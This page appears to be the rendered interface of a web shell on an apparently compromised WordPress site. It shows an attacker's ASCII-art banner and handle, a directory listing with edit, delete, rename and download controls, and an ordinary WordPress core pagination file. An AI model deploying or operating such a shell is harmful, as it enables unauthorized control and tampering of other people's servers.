⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-includes/blocks/ [DIR] archives [ delete | rename ] [DIR] audio [ delete | rename ] [DIR] avatar [ delete | rename ] [DIR] block [ delete | rename ] [DIR] button [ delete | rename ] [DIR] buttons [ delete | rename ] [DIR] calendar [ delete | rename ] [DIR] categories [ delete | rename ] [DIR] code [ delete | rename ] [DIR] column [ delete | rename ] [DIR] columns [ delete | rename ] [DIR] comment-author-name [ delete | rename ] [DIR] comment-content [ delete | rename ] [DIR] comment-date [ delete | rename ] [DIR] comment-edit-link [ delete | rename ] [DIR] comment-reply-link [ delete | rename ] [DIR] comment-template [ delete | rename ] [DIR] comments [ delete | rename ] [DIR] comments-pagination [ delete | rename ] [DIR] comments-pagination-next [ delete | rename ] [DIR] comments-pagination-numbers [ delete | rename ] [DIR] comments-pagination-previous [ delete | rename ] [DIR] comments-title [ delete | rename ] [DIR] cover [ delete | rename ] [DIR] details [ delete | rename ] [DIR] embed [ delete | rename ] [DIR] file [ delete | rename ] [DIR] footnotes [ delete | rename ] [DIR] freeform [ delete | rename ] [DIR] gallery [ delete | rename ] [DIR] group [ delete | rename ] [DIR] heading [ delete | rename ] [DIR] home-link [ delete | rename ] [DIR] html [ delete | rename ] [DIR] image [ delete | rename ] [DIR] latest-comments [ delete | rename ] [DIR] latest-posts [ delete | rename ] [DIR] legacy-widget [ delete | rename ] [DIR] list [ delete | rename ] [DIR] list-item [ delete | rename ] [DIR] loginout [ delete | rename ] [DIR] media-text [ delete | rename ] [DIR] missing [ delete | rename ] [DIR] more [ delete | rename ] [DIR] navigation [ delete | rename ] [DIR] navigation-link [ delete | rename ] [DIR] navigation-submenu [ delete | rename ] [DIR] nextpage [ delete | rename ] [DIR] page-list [ delete | rename ] [DIR] page-list-item [ delete | rename ] [DIR] paragraph [ delete | rename ] [DIR] pattern [ delete | rename ] [DIR] post-author [ delete | rename ] [DIR] post-author-biography [ delete | rename ] [DIR] post-author-name [ delete | rename ] [DIR] post-comments-form [ delete | rename ] [DIR] post-content [ delete | rename ] [DIR] post-date [ delete | rename ] [DIR] post-excerpt [ delete | rename ] [DIR] post-featured-image [ delete | rename ] [DIR] post-navigation-link [ delete | rename ] [DIR] post-template [ delete | rename ] [DIR] post-terms [ delete | rename ] [DIR] post-title [ delete | rename ] [DIR] preformatted [ delete | rename ] [DIR] pullquote [ delete | rename ] [DIR] query [ delete | rename ] [DIR] query-no-results [ delete | rename ] [DIR] query-pagination [ delete | rename ] [DIR] query-pagination-next [ delete | rename ] [DIR] query-pagination-numbers [ delete | rename ] [DIR] query-pagination-previous [ delete | rename ] [DIR] query-title [ delete | rename ] [DIR] query-total [ delete | rename ] [DIR] quote [ delete | rename ] [DIR] read-more [ delete | rename ] [DIR] rss [ delete | rename ] [DIR] search [ delete | rename ] [DIR] separator [ delete | rename ] [DIR] shortcode [ delete | rename ] [DIR] site-logo [ delete | rename ] [DIR] site-tagline [ delete | rename ] [DIR] site-title [ delete | rename ] [DIR] social-link [ delete | rename ] [DIR] social-links [ delete | rename ] [DIR] spacer [ delete | rename ] [DIR] table [ delete | rename ] [DIR] tag-cloud [ delete | rename ] [DIR] template-part [ delete | rename ] [DIR] term-description [ delete | rename ] [DIR] text-columns [ delete | rename ] [DIR] verse [ delete | rename ] [DIR] video [ delete | rename ] [DIR] widget-group [ delete | rename ] [FILE] archives.php [ edit | delete | rename | download ] [FILE] avatar.php [ edit | delete | rename | download ] [FILE] block.php [ edit | delete | rename | download ] [FILE] blocks-json.php [ edit | delete | rename | download ] [FILE] button.php [ edit | delete | rename | download ] [FILE] calendar.php [ edit | delete | rename | download ] [FILE] categories.php [ edit | delete | rename | download ] [FILE] comment-author-name.php [ edit | delete | rename | download ] [FILE] comment-content.php [ edit | delete | rename | download ] [FILE] comment-date.php [ edit | delete | rename | download ] [FILE] comment-edit-link.php [ edit | delete | rename | download ] [FILE] comment-reply-link.php [ edit | delete | rename | download ] [FILE] comment-template.php [ edit | delete | rename | download ] [FILE] comments-pagination-next.php [ edit | delete | rename | download ] [FILE] comments-pagination-numbers.php [ edit | delete | rename | download ] [FILE] comments-pagination-previous.php [ edit | delete | rename | download ] [FILE] comments-pagination.php [ edit | delete | rename | download ] [FILE] comments-title.php [ edit | delete | rename | download ] [FILE] comments.php [ edit | delete | rename | download ] [FILE] cover.php [ edit | delete | rename | download ] [FILE] file.php [ edit | delete | rename | download ] [FILE] footnotes.php [ edit | delete | rename | download ] [FILE] gallery.php [ edit | delete | rename | download ] [FILE] heading.php [ edit | delete | rename | download ] [FILE] home-link.php [ edit | delete | rename | download ] [FILE] image.php [ edit | delete | rename | download ] [FILE] index.php [ edit | delete | rename | download ] [FILE] latest-comments.php [ edit | delete | rename | download ] [FILE] latest-posts.php [ edit | delete | rename | download ] [FILE] legacy-widget.php [ edit | delete | rename | download ] [FILE] list.php [ edit | delete | rename | download ] [FILE] loginout.php [ edit | delete | rename | download ] [FILE] media-text.php [ edit | delete | rename | download ] [FILE] navigation-link.php [ edit | delete | rename | download ] [FILE] navigation-submenu.php [ edit | delete | rename | download ] [FILE] navigation.php [ edit | delete | rename | download ] [FILE] page-list-item.php [ edit | delete | rename | download ] [FILE] page-list.php [ edit | delete | rename | download ] [FILE] pattern.php [ edit | delete | rename | download ] [FILE] post-author-biography.php [ edit | delete | rename | download ] [FILE] post-author-name.php [ edit | delete | rename | download ] [FILE] post-author.php [ edit | delete | rename | download ] [FILE] post-comments-form.php [ edit | delete | rename | download ] [FILE] post-content.php [ edit | delete | rename | download ] [FILE] post-date.php [ edit | delete | rename | download ] [FILE] post-excerpt.php [ edit | delete | rename | download ] [FILE] post-featured-image.php [ edit | delete | rename | download ] [FILE] post-navigation-link.php [ edit | delete | rename | download ] [FILE] post-template.php [ edit | delete | rename | download ] [FILE] post-terms.php [ edit | delete | rename | download ] [FILE] post-title.php [ edit | delete | rename | download ] [FILE] query-no-results.php [ edit | delete | rename | download ] [FILE] query-pagination-next.php [ edit | delete | rename | download ] [FILE] query-pagination-numbers.php [ edit | delete | rename | download ] [FILE] query-pagination-previous.php [ edit | delete | rename | download ] [FILE] query-pagination.php [ edit | delete | rename | download ] [FILE] query-title.php [ edit | delete | rename | download ] [FILE] query-total.php [ edit | delete | rename | download ] [FILE] query.php [ edit | delete | rename | download ] [FILE] read-more.php [ edit | delete | rename | download ] [FILE] require-dynamic-blocks.php [ edit | delete | rename | download ] [FILE] require-static-blocks.php [ edit | delete | rename | download ] [FILE] rss.php [ edit | delete | rename | download ] [FILE] search.php [ edit | delete | rename | download ] [FILE] shortcode.php [ edit | delete | rename | download ] [FILE] site-logo.php [ edit | delete | rename | download ] [FILE] site-tagline.php [ edit | delete | rename | download ] [FILE] site-title.php [ edit | delete | rename | download ] [FILE] social-link.php [ edit | delete | rename | download ] [FILE] tag-cloud.php [ edit | delete | rename | download ] [FILE] template-part.php [ edit | delete | rename | download ] [FILE] term-description.php [ edit | delete | rename | download ] [FILE] widget-group.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-includes/blocks/query-pagination-numbers.php <?php /** * Server-side rendering of the `core/query-pagination-numbers` block. * * @package WordPress */ /** * Renders the `core/query-pagination-numbers` block on the server. * * @since 5.8.0 * * @global WP_Query $wp_query WordPress Query object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the pagination numbers for the Query. */ function render_block_core_query_pagination_numbers( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination']; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; $max_page = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0; $wrapper_attributes = get_block_wrapper_attributes(); $content = ''; global $wp_query; $mid_size = isset( $block->attributes['midSize'] ) ? (int) $block->attributes['midSize'] : null; if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { // Take into account if we have set a bigger `max page` // than what the query has. $total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page; $paginate_args = array( 'prev_next' => false, 'total' => $total, ); if ( null !== $mid_size ) { $paginate_args['mid_size'] = $mid_size; } $content = paginate_links( $paginate_args ); } else { $block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) ); // `paginate_links` works with the global $wp_query, so we have to // temporarily switch it with our custom query. $prev_wp_query = $wp_query; $wp_query = $block_query; $total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page; $paginate_args = array( 'base' => '%_%', 'format' => "?$page_key=%#%", 'current' => max( 1, $page ), 'total' => $total, 'prev_next' => false, ); if ( null !== $mid_size ) { $paginate_args['mid_size'] = $mid_size; } if ( 1 !== $page ) { /** * `paginate_links` doesn't use the provided `format` when the page is `1`. * This is great for the main query as it removes the extra query params * making the URL shorter, but in the case of multiple custom queries is * problematic. It results in returning an empty link which ends up with * a link to the current page. * * A way to address this is to add a `fake` query arg with no value that * is the same for all custom queries. This way the link is not empty and * preserves all the other existent query args. * * @see https://developer.wordpress.org/reference/functions/paginate_links/ * * The proper fix of this should be in core. Track Ticket: * @see https://core.trac.wordpress.org/ticket/53868 * * TODO: After two WP versions (starting from the WP version the core patch landed), * we should remove this and call `paginate_links` with the proper new arg. */ $paginate_args['add_args'] = array( 'cst' => '' ); } // We still need to preserve `paged` query param if exists, as is used // for Queries that inherit from global context. $paged = empty( $_GET['paged'] ) ? null : (int) $_GET['paged']; if ( $paged ) { $paginate_args['add_args'] = array( 'paged' => $paged ); } $content = paginate_links( $paginate_args ); wp_reset_postdata(); // Restore original Post Data. $wp_query = $prev_wp_query; } if ( empty( $content ) ) { return ''; } if ( $enhanced_pagination ) { $p = new WP_HTML_Tag_Processor( $content ); $tag_index = 0; while ( $p->next_tag( array( 'class_name' => 'page-numbers' ) ) ) { if ( null === $p->get_attribute( 'data-wp-key' ) ) { $p->set_attribute( 'data-wp-key', 'index-' . $tag_index++ ); } if ( 'A' === $p->get_tag() ) { $p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' ); } } $content = $p->get_updated_html(); } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/query-pagination-numbers` block on the server. * * @since 5.8.0 */ function register_block_core_query_pagination_numbers() { register_block_type_from_metadata( __DIR__ . '/query-pagination-numbers', array( 'render_callback' => 'render_block_core_query_pagination_numbers', ) ); } add_action( 'init', 'register_block_core_query_pagination_numbers' );